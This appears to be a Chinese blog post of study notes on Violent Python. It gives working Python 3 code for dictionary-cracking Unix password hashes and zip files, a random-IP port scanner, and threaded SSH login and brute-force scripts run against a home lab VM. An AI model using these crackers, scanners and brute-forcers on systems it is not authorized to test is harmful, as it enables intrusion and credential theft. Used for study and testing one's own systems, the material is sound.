Violent Python1——Unix密码编码/zip文件加解密/端口扫描/SSH连接Linux获取root密码/SSH privateKey连接

前言:这是ViolentPython这本书的学习笔记。ViolentPython是用python2编写的,而本文均改为python3进行运行。
运行环境是Ubuntu 18.04,在Win10的虚拟机上运行。
第一篇包括四个部分的内容:
1)Unix密码编码
2)Zip文件加解密
3)端口扫描
4)SSH连接Linux获取root密码
5)通过private key登陆服务器

下面是方法介绍以及代码:
1)Unix密码编码
Unix账户的密码编码格式如下:盐值(salt)+密码密文
而python中内置crypt可以用来生成“盐值+密码密文”格式的密文。

假设有如下的密码:
victim: HX9LLTdc/jiDE: 503💯Iama Victim:/home/victim:/bin/sh
root: DFNFxgW7C05fo: 504💯 Markus Hess:/root:/bin/bash
又有如下进行猜测的字典dictionary.txt
egg
apple

则以下程序就是根据dictionary.txt,以获取以上密码的原文。
1】首先获取密文(victim):HX9LLTdc/jiDE
2】去掉盐度HX,得到9LLTdc/jiDE
3】从字典dictionary.txt中获取可能的明文样本’
4】根据生成的密文,与9LLTdc/jiDE比较,看是否相同
5】如果相同,则原先的明文就是答案。代码如下:

import crypt
def testPass(cryptPass):
    salt = cryptPass[0:2]
    with open ("dictionary.txt", "r") as dictFile:
        for word in dictFile.readlines():
            word = word.strip("\n")
            cryptWord = crypt.crypt(word,salt)
            if cryptWord == cryptPass:
                print("Found Password:", word)
                return
        print("Passwd not found:")
        return

def main():
    with open("password.txt", "r") as passFile:
        for line in passFile.readlines():
            if ":" in line:
                user = line.split(":")[0]
                cryptPass = line.split(":")[1].strip(' ')
                print("Cracking password for:", user)
                print(cryptPass)
                testPass(cryptPass)

if __name__ == "__main__":
    main()

运行结果为:
Cracking password for: victim
HX9LLTdc/jiDE
Found Password: egg
Cracking password for: root
DFNFxgW7C05fo
Passwd not found:

2)Zip文件加密
Zip文件是最常见的一类压缩文件。解密的思路如下:
1】获取可能的密码列表dictionary.txt
2】将字典中的每一个值都作为可能的密码输入
3】直到发现正确密码,结束。
以下使用多线程的方式运行,在需要大量分析解密的时候,可以一定程度加快速度。

import zipfile
import optparse
from threading import Thread
def extractFile(zFile, passwd):
    try:
        zFile.extractall(pwd=bytes(passwd, "utf-8"))
        print("found password: ", passwd)
    except:
        pass

def main():
    parser = optparse.OptionParser("usage%prog "+"-f <zipfile> -d <dictionary>")
    #define the cmd to be parsered
    parser.add_option('-f', dest='zname', type='string',help='specify zip file')
    parser.add_option('-d', dest='dname', type='string',help='specify dictionary file')
    (options, args) = parser.parse_args()
    if (options.zname == None) | (options.dname == None):
        print(parser.usage)
    else:
        zname = options.zname
        dname = options.dname
    zFile = zipfile.ZipFile(zname)
    with open(dname, "r") as passFile:
        for line in passFile.readlines():
            passwd = line.strip("\n")
            t = Thread(target = extractFile, args = (zFile, passwd))
            t.start()

if __name__ == "__main__":
    main()

运行结果为:
python 2_proZipCrack.py -f evil.zip -d dictionary.txt
found password: secret

3)端口扫描
这部分介绍的是用socket不断试探目标机器的可能开放端口。多线程可以比较快地发现可以入侵接入的端口。基本思路如下:
1】获取两个list,一个包含tgtPorts,即目标端口;另一个包含tgtHost:即目标主机IP地址。
2】用socket(AF_INET, SOCK_STREAM)通过tcp协议尝试连接。
3】如果连接成功,就视为访问成功,反之输出失败(但实际上这种连接成功还有细分种类,具体细微之处,可以自学TCP协议)
4】循环执行,多线程批量扫描IP地址的0-1000号端口

import optparse
from socket import *
from threading import Thread
import random
#print an open port message
def connScan(tgtHost, tgtPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tgtHost, tgtPort))
        print("tcp Open : ", tgtPort, "Host: ", tgtHost)
        connSkt.close()
    except:
        #print("tcp closed : ", tgtPort)
        return

#find out the open port from tgtPorts
def portScan(tgtHost, tgtPorts):
    try:
        tgtIp = gethostbyname(tgtHost)
    except:
        print("cannot resolve hostname : Unknown host : ", tgtHost)
        return
    try:
        tgtName = gethostbyaddr(tgtIp)
        #print("scan result for : ", tgtName)
    except:
        print("scan result for : ", tgtIp)
    setdefaulttimeout(1)
    for tgtPort in tgtPorts:
        #print("scanning port : ", tgtPort)
        t = Thread(target = connScan, args = (tgtHost, int(tgtPort)))
        t.start()

"""
In order to grab the application banner from our target host, we must first insert additional code into the connScan function. After discovering an open port, we send a string of data to the port and wait for the response.
Gathering this response might give us an indication of the application running on the target host and port
"""

def main():
    parser = optparse.OptionParser("usage %prog -H" + "<target host> -p<target port>")
    parser.add_option("-H", dest = "tgtHost", type = "string", help = "specify target host")
    parser.add_option("-p", dest = "tgtPort", type = "string", help = "specify target port")
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtHostOrigin = "***.***"#此处就不直接写IP地址了,可以自己指定一个感兴趣的IP
    #tgtPorts = str(options.tgtPort).split(",")
    #print(tgtPorts)
    tgtPorts = []
    for i in range(100):
        x = random.randint(127, 139)
        y = random.randint(1, 255)
        tgtHost = tgtHostOrigin + "." +str(x) + "." + str(y)
        for k in range(1000):
            tgtPorts.append(k)
        if tgtHost == None or tgtPorts[0] == None:
            print("You must specify a target host and ports")
        portScan(tgtHost, tgtPorts)

if __name__ == "__main__":
    main()

4)SSH连接Linux获取root密码
ssh为Secure Shell的缩写。常常用于通过一个linux系统访问另一个linux系统。(需要提供password,或者private key)
在连接之前,需要安装pexpect包,同时为linux系统安装openssh-server。
1】通过python的pexpect包,调用spawn方法,对另一台机器发送连接请求
2】通过pexpect.expect方法,对另一台机器发送的回复进行处理。向对方机器发送答复信息。
3】需要注意的是,root用户默认是不能够连接的,需要对应主机将vim /etc/ssh/sshd_config,修改为PermitRootLogin yes

    """
    This program is for constrcting an automatical connection to SSH
    
    SSH is "Secure Shell" in short, developed by IETF(Networking Working Group). SSH is a reliable protocol specially for remote login.
    Pexpect has the ability to interact with programs, watch for expected outputs, and then respond based on expected outputs, which makes it an excellent tool of choice for automating the process of brute forcing SSH user credentials.
"""
This program is for constrcting an automatical connection to SSH

SSH is "Secure Shell" in short, developed by IETF(Networking Working Group). SSH is a reliable protocol specially for remote login.
Pexpect has the ability to interact with programs, watch for expected outputs, and then respond based on expected outputs, which makes it an excellent tool of choice for automating the process of brute forcing SSH user credentials.
"""
import pexpect
import sys

PROMPT = ["#", ">>>", ">", "\$"]
def sendCmd(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)

"""
expect(self, pattern, timeout = -1,searchWindowsize):
    This seeks through the stream until a pattern is matched. The pattern is overloaded and may take several types. The pattern can be a StringType, EOF, a compile re, or a list of any of those types. Strings will be compeled to re types. This returns the index into the pattern list. If the pattern was not a list this returns index 0 on a successful match. This may raise exceptions for EOF or TIMEOUT. To avoid the EOF or TIMEOUT exceptions add EOF or TIMEOUT to the pattern list. That will cause expect to match an EOF or TIMROUT condition instead of raising an exception.

If you pass a list of patterns and more than one matches, the first match in the stream is chosen. If more than one pattern matches at the point, the left most in the pattern list is chosen.

For example:
#The input is "foobar"
index = p.expect(["bar", "foo", "foobar"])
#returns 1("foo") even though "foobar" is a better match
"""
def connect(user, host, password):
    sshNewkey = "Are you sure you want to continue connecting?"
    connStr = "ssh " + user + "@" + host
    child = pexpect.spawn(connStr)
    ret = child.expect(['Are you sure you want to continue connecting (yes/no)?', 'password'])
    print(ret)
    #0 means failed
    if ret == 0:
        print("Error connecing")
    # 1 means successful
    if ret == 1:
        child.sendline("yes")
        ret = child.expect([pexpect.TIMEOUT, "password"])
        if ret == 0:
            print("Error connecting")
            return
    child.sendline(password)
    print("success")
    child.expect(PROMPT)
    sendCmd(child, "ll")
    return child

def main():
    host = "192.168.204.131"
    user = "root"
    password = "********"
    child = connect(user, host, password)

if __name__ == "__main__":
    main()

运行结果为:
1
success
b’ ll\r\ntotal 76\r\ndrwx------ 6 root root 4096 Apr 14 01:49 \x1b[0m\x1b[01;34m.\x1b[0m/\r\ndrwxr-xr-x 24 root root 4096 Apr 12 15:46 \x1b[01;34m…\x1b[0m/\r\n-rw------- 1 root root 13677 Apr 14 01:49 .bash_history\r\n-rw-r–r-- 1 root root 3106 Apr 9 2018 .bashrc\r\ndrwx------ 3 root root 4096 Apr 13 23:28 \x1b[01;34m.cache\x1b[0m/\r\ndrwx------ 3 root root 4096 Apr 12 17:55 \x1b[01;34m.gnupg\x1b[0m/\r\n-rw-r–r-- 1 root root 148 Aug 17 2015 .profile\r\n-rw------- 1 root root 2497 Apr 14 00:32 .python_history\r\ndrwx------ 2 root root 4096 Apr 13 22:12 \x1b[01;34m.ssh\x1b[0m/\r\ndrwxr-xr-x 2 root root 4096 Apr 14 00:24 \x1b[01;34m.vim\x1b[0m/\r\n-rw------- 1 root root 21274 Apr 14 01:49 .viminfo\r\n\x1b]0;root@ubuntu: \x07root@ubuntu:

补充:
4.2)pexpect中pxssh远程登陆Linux系统(前提是需要开放rootLogin, 如果没开放,用普通用户也可以,就是权限不够大)

import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value = maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("Pass word found: ", password)
        Found = True
    except:
        print("error")

def main():
    host = "192.168.204.131"
    user = "actuaryzx"
    with open("passwdFile.txt", "r") as f:
        for line in f.readlines():
            if Found:
                print("Exiting : password found")
                return
            if Fails > 5:
                print("Exiting : too many socket timeouts")
            password = line.strip("\r").strip("\n")
            print("testing: ", str(password))
            t = Thread(target = connect, args = (host, user, password, True))
            child = t.start()

if __name__ == "__main__":
    main()

其登陆原理与4)相同,只是用pexpect中pxssh来实现。

5)通过private key登陆服务器server
详见以下链接,说得真是很详细了。
https://blog.csdn.net/YLMF_yyz/article/details/46646449

关键是由服务器生成公钥、私钥,然后把私钥复制到客户端client处,通过在客户端输入:
ssh root@192.168.204.131 -i /home/ubuntuzx/violentPython/3_chapter/privateKey/id_rsa
这样的指令进行登陆,路径为私钥所在路径,其中id_rsa为私钥。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值